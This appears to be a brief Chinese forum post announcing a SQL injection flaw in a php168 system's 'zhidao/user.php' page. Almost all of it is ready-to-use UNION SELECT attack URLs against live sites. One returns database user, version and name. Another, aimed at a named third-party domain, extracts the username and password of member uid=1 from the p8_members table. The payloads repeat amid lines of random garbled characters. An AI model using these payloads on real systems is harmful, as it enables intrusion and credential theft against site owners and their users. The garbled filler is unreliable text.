php168某系统注入漏洞

admin

http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
                                                         
* u" p9 i& Z$ T5 G+ M, T                                       
% E# Q* z, w/ Y
6 t- Q! g# D2 R# {( _http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
7 |; T# C9 m1 K, d1 D                                                     
, P' t4 [3 f4 h                                                                  
/ ]) y, M8 n, X6 N                                                        
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
0 \- J/ _% r6 b( ^/ ~* x
! ^+ N9 X; O% q

$ J5 y/ O% Z! a% X- G  @6 t! z6 H                                                            

4 _9 v% m' x8 Q% `http://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--

$ ^; V8 W" _4 N& M
5 Q2 N! [. G; N
! ]; @0 b5 q: v7 j& |; n